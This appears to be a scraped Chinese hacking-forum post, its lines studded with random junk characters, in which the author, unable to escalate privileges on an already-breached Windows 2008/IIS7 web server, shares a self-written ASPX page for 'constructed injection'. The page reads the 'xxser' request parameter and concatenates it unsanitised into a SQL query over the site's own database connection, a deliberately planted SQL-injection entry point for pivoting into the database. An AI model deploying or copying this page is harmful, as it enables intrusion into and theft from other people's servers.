昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
9 E, q2 s* S: @1 i其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
/ W+ c z7 o- [* A+ O% ]代码量不多,自己写个拉倒了。烦死了。6 b& H) O2 n* h" }: B
+ k* r$ U( ^$ d1 d
" v% {/ r( W6 M) ?<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">' ]$ ^8 ]! B; w- g: f; {
<html xmlns="http://www.w3.org/1999/xhtml">2 I" ~2 Z( M1 X8 ?6 m3 J$ J
<head runat="server">
/ x- Q9 o3 f0 I' y8 M <title>暗影aspx构造注射专用页面</title>( E: B7 L- C& E4 o: X' `% Z
</head>+ u. s [( |- S) \ E% _
<body>3 L" [) P1 I$ d: B1 y
<form id="form1" runat="server">
: E* F0 w$ `+ a5 ] <div>
" R/ Y+ s; N* I* [0 P2 j8 j9 U <script language="c#" runat="server">
" m! p, o' _, T+ F7 d - k& {( A" C Z: Q4 |% ]
void page_init(object sender, EventArgs e)" y( W/ C' a+ F+ i5 t- p* _
{. t& k; `6 |4 P( b- ^ t& k
, x0 U* [: `2 I5 D+ a$ h
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();' \. {; U1 W! E7 D) Y/ S, R
3 K' F) i& l6 L- d* k! @$ c. l conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();% \% l. u: T2 t$ b1 j$ o
conn.Open();2 x9 B. x: l. Y
' a2 n, c; M# [) _ string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=16 [: Z3 t1 t( T+ z$ N9 K+ t& m
% I' N, s9 Q: Z5 w( U7 T# e ^
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);$ S, m4 o; `5 ?5 }8 D& n# H/ N
int x = command.ExecuteNonQuery();2 b% Q& r' N: U# j: J2 O4 r1 O
Response.Write(i+"\n");
1 C9 ?6 _* F2 V2 V$ m Response.Write(x);. R" i' p) `! R ~9 O5 H! o
conn.Close();8 [, K' H% c$ R# r
}: S q7 B3 {/ p1 K4 W E! M+ _
- |4 X7 g- l; E& B3 k </script>6 \) }9 c4 X3 C- U6 a# X- K% W
</div>
3 s+ j8 V2 O- b- h0 w& L9 l; Y </form>
5 \" n5 y, n1 m2 n</body>
* C! q% i3 W U5 V( e1 S8 f/ X</html>
$ V- T9 |& E6 H1 A7 O |